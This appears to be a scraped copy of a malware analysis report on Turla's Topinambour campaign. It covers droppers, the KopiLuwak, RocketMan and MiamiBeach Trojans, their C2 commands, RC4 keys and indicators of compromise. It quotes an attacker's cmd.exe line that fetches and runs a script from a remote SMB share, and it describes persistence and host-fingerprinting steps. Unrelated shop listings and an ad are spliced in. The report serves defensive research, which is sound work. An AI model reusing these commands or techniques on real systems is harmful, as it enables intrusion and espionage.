Turla renews its arsenal with Topinambour

Turla, also known as Venomous Bear, Waterbug, and Uroboros, is a Russian speaking threat actor known since 2014, but with roots that go back to 2004 and earlier. It is a complex cyberattack platform focused predominantly on diplomatic and government-related targets, particularly in the Middle East, Central and Far East Asia, Europe, North and South America and former Soviet bloc nations.
2019 has seen the Turla actor actively renew its arsenal. Its developers are still using a familiar coding style, but they’re creating new tools. Here we’ll tell you about several of them, namely “Topinambour” (aka Sunchoke – the Jerusalem artichoke) and its related modules. We didn’t choose to name it after a vegetable; the .NET malware developers named it Topinambour themselves.
The new modules were used in an active campaign that started at the beginning of 2019. As usual, the actor targeted governmental entities. The role of the .NET module is to deliver the known KopiLuwak JavaScript Trojan. Moreover, this actor now also has a heavily obfuscated PowerShell Trojan that is similar to KopiLuwak. Among the control servers there are several legitimate but compromised WordPress websites with the actor’s .php scripts on them.
This time, the developers left some Easter eggs for the targets and researchers. The .NET modules include amusing strings such as “TrumpTower” as an initial vector for RC4 encryption. “RocketMan!” (probably a reference to Donald Trump’s nickname for Kim Jong Un) and “MiamiBeach” serve as the first beacon messages from the victim to the control server.
How Topinambour spreads
To deliver all this to targets, the operators use legitimate software installers infected with the Topinambour dropper. These could be tools to circumvent internet censorship, such as “Softether VPN 4.12” and “psiphon3”, or Microsoft Office “activators”.
The dropper contains a tiny .NET shell that will wait for Windows shell commands from the operators. Using this and SMB shares on rented virtual private servers (VPS), the campaign operators spread the next-stage modules using just “net use” and “copy” Windows shell commands. It’s hard to believe, but SMB still works through public networks.
These campaign-related VPSs are located in South Africa. Interestingly, their external IP addresses start with “197.168”. Possibly these first two bytes are there to mimic LAN addresses that start with “192.168”. Lateral movements in the target’s infrastructure show how familiar the campaign operators are with the IPv6 protocol. Along with IPv4 they use the newer version for shell commands and LAN addresses.
What Topinambour wants from the targets
The purpose of all this infrastructure and modules in JavaScript, .NET and PowerShell is to build a “fileless” module chain on the victim’s computer consisting of an initial small runner and several Windows system registry values containing the encrypted remote administration tool. The tool does all that a typical Trojan needs to accomplish: upload, download and execute files, fingerprint target systems. The PowerShell version of the Trojan also has the ability to get screenshots.
Trojan
Command set
JavaScript
exit upld inst wait dwld
.NET
#down #upload #timeout #stop #sync
PowerShell
#upload #down #screen #timeout #stop #sync
Even the command system in the different Trojans is quite similar
Interesting technical features
A plausible hypothesis for developing similar malware in different languages could be to avoid detection: if one version is detected on the victim’s computer, the operators can try an analogue in a different language. In the table below, we compare Trojans in terms of encryption keys in use and initial messages to control servers.
Trojan
RC4 encryption key
Initial beacon to C2
JavaScript KopiLuwak
01a8cbd328df18fd49965d68e2879433
“bYVAoFGJKj7rfs1M” plus hash based upon Windows installation date
.NET
TrumpTower
RocketMan!
PowerShell
TimesNewRoman
MiamiBeach
For some reason, the developers prefer to entertain targets and researchers instead of randomizing strings
Our analysis of the dropper is based on the sample below:

SHA256 8bcf125b442f86d24789b37ce64d125b54668bc4608f49828392b5b66e364284
MD5 110195ff4d7298ba9a186335c55b2d1f
Compiled 2018.09.10 12:08:14 (GMT)
Size 1 159 680
Original name topinambour.exe

[2-Pack] iPhone X XS XR XS Max Privacy Anti-Spy Tempered Glass Screen Protector

$5.45
End Date: Monday Oct-21-2019 3:29:19 PDT
Buy It Now for only: $5.45
Buy It Now | Add to watch list

[2-Pack] iPhone X XS XR XS Max Privacy Anti-Spy Tempered Glass Screen Protector

$2.25
End Date: Monday Oct-21-2019 3:29:19 PDT
Buy It Now for only: $2.25
Buy It Now | Add to watch list

The dropper sample on which our analysis is based implements the following features:
Dropper function
Features
unpack_p
Drops payload to %LOCALAPPDATA%/VirtualStore/certcheck.exe. The “p” in the function name and corresponding resource in the dropper stands for “payload”
make_some_noise
Gains persistence for payload with a scheduled task that starts every 30 minutes
unpack_o
Drops the original application that the dropper tries to mimic (such as psiphon3) to %TEMP%/activator.exe and runs it. Here “o” in the function name and corresponding resource in the dropper stands for “original”
The Topinambour authors decided to name the remote shell persistence function “make_some_noise()”
Dropped tiny .NET remote shell
The tiny dropped application gets Windows shell commands from the C2 and silently executes them.
The Topinambour tiny .NET shell first tries to get commands from an external IP, which looks like a LAN, and then continues with possibly infected LAN IPs
The first DWORD (four bytes) received after a TCP request to the C2 is the data size for the following communication. Then the data contained in the next packets will be the Windows shell command to silently execute the application using “cmd.exe /c”. And that’s it – straightforward, simple and useful.
KopiLuwak dropper
This is where the notorious KopiLuwak comes into play. The .NET remote shell silently downloads scripts from the C2 – from the opened SMB share on a remote CELL-C VPS in South Africa to be precise. “Net use” and “copy” Windows shell commands are enough to fulfil the task.
cmd.exe /c net use \197.168.0.247c$ /user:administrator & copy /y \197.168.0.247c$userspublicdocumentsi.js $documentsj.js & $documentsj.js
As a result, the victim is infected with a KopiLuwak obfuscated JavaScript.
Deobfuscated KopiLuwak dropper that puts the RC4 decryption key into the scheduler task for next-stager persistence
Its functions are described in the table below:
Script function
Features
Create scheduler task
Creates a task with the name ProactiveScan, description “NTFS Volume Health Scan”, which runs C:Users\AppDataRoamingMicrosoftChkdsk.js with the parameters “-scan Kdw6gG7cpOSZsBeH”, where the parameter is the RC4 decryption key
Fingerprint host
Saves a set of commands such as systeminfo, net view, tasklist /v, gpresult /z, dir x22%programfiles%x5cKaspersky Labx22, tracert www.google.com to
%appdata%Microsoftx5ct235.dat
Drop next JavaScript
Drops C:Users\AppDataRoamingMicrosoftChkdsk.js
The dropped “Chkdsk.js” decrypts one more script using the RC4 key provided in the dropper’s scheduled task and runs the decrypted code. This final stager is a more complex Trojan, able to parse and execute custom commands from the C2.
The operators get the victim’s data in XML format: every message has a 16-byte signature at the beginning and a victim-specific fingerprint that the developer calls “ridid”.
Constant
Bytes
Value and features
magic
16
Every encrypted message from the infected host starts with this. In the samples described, the magic bytes are ‘bYVAoFGJKj7rfs1M’.
ridid
32
Hash value, based on Windows installation date and the aforementioned 16-byte magic value
RC4 iv
32
RC4 initial vector to encrypt communication between the target and the C2. In the samples described, the IV value is “01a8cbd328df18fd49965d68e2879433”
Decrypted and deobfuscated target hashing algorithm, based on Windows installation date and 16-byte hardcoded string
The malware communicates with a legitimate compromised WordPress-based website and gets four byte length commands from URL like “http:///wp-includes/Requests/Socks.php”. First, the malware beacons to its C2 and gets the command to execute as an answer.
Command
Features
exit
Send “t235.dat” fingerprinting file content with “upl” text in the XML message, delete the file and stop script execution
upld
Send “t235.dat” content with “upl” text in XML message. If no such file exists, or it’s empty, it sends “opt file no exists or size limit” text in the XML message
inst
Command format is:
– three bytes after command – overall server response length
– three following bytes – they are “jss”
– Tail – JavaScript to execute
Send ‘good install’ and “t235.dat” content in the XML messages. Save executed JavaScript file as %APPDATA%Microsoftghke94d.jss
wait
Do nothing
dwld
Command format is the same as for the “inst” command, but the script from the server will not be executed at once. It saves the decrypted JavaScript as %APPDATA%Microsoftawgh43.js and sends ‘success get_parse_command’ in the XML message
KopiLuwak JavaScript
The downloaded script takes a binary from the Windows registry and runs it. The registry subkeys and values vary from target to target.
The slightly obfuscated script used to run the payload from registry
It is not completely clear how the registry keys were created; however, the attackers usually use the .NET initial infector for that. In some samples, there is an additional function to get the victim´s MAC address.
This is the end of first “JavaScript” infection chain. Now, let’s also briefly describe the second .NET-based chain.
.NET RocketMan Trojan
We call this Trojan RocketMan after the string the developer uses for beaconing. Another string inside this malware is “TrumpTower”, used as an RC4 encryption initial vector.
This malware reads the C2 IP and port from the registry where it was saved by the previous stager. It processes the following commands from its C2 that are received encrypted over HTTP:
Command
Features
#down
Make HTTP POST request to http://:/file to download the file with the provided name to the victim’s computer
#upload
Make HTTP GET request to http://:/update, decrypt server response and upload the file to the server with the provided path and name
#timeout
Get the pause length from the server command argument and wait
#stop
Make HTTP GET request to http://:/exit, stop the Trojan operation
#sync
Send encrypted “RocketMan!” string to the server
PowerShell MiamiBeach Trojan
Last but not least, the developers behind the Topinambour campaign also used a PowerShell Trojan. This Trojan contains around 450 strings and uses “TimesNewRoman” as the RC4 initial vector to encrypt C2 communications.
This module beacons to its hardcoded C2 with the string “MiamiBeach” using an HTTP POST. The Trojan is quite similar to the .NET RocketMan Trojan and can handle the same commands; additionally, it includes the “#screen” command to take a screenshot.
Conclusions
The reason behind the development of KopiLuwak’s PowerShell and .NET analogues may be simply to minimize detection of the well-known, publicly discussed JavaScript versions. Using the Windows system registry to store encrypted data that is later used by the malware also seems to be aimed at minimizing detection and reducing the digital footprint on any victim’s computer, where only a tiny starter would be left.
It’s a bit surprising, amusing and not entirely clear why the developers have used some seemingly US-related strings such as “RocketMan!”, “TrumpTower” or “make_some_noise”. They are hardly likely to serve as false flags. The usage of KopiLuwak, a well-known and exclusive artefact previously used by the Turla group, makes us attribute this campaign to this actor with high confidence.
Indicators of compromise
C2 HTTP GET templates
http://:/file
http://:/update
http://:/exit
Some campaign-related MD5 hashes
47870ff98164155f088062c95c448783
2c1e73da56f4da619c4c53b521404874
6acf316fed472300fa50db54fa6f3cbc
9573f452004b16eabd20fa65a6c2c1c4
3772a34d1b731697e2879bef54967332
d967d96ea5d0962e08844d140c2874e0
a80bbd753c07512b31ab04bd5e3324c2
37dc2eb8ee56aeba4dbd4cf46f87ae9a
710f729ab26f058f2dbf08664edb3986
Domains and IPs
VPSs used as control servers
197.168.0.73
197.168.0.98
197.168.0.212
197.168.0.243
197.168.0.247
197.168.0.250






Click here for best antivirus and antispyware software

Powered by WPeMatico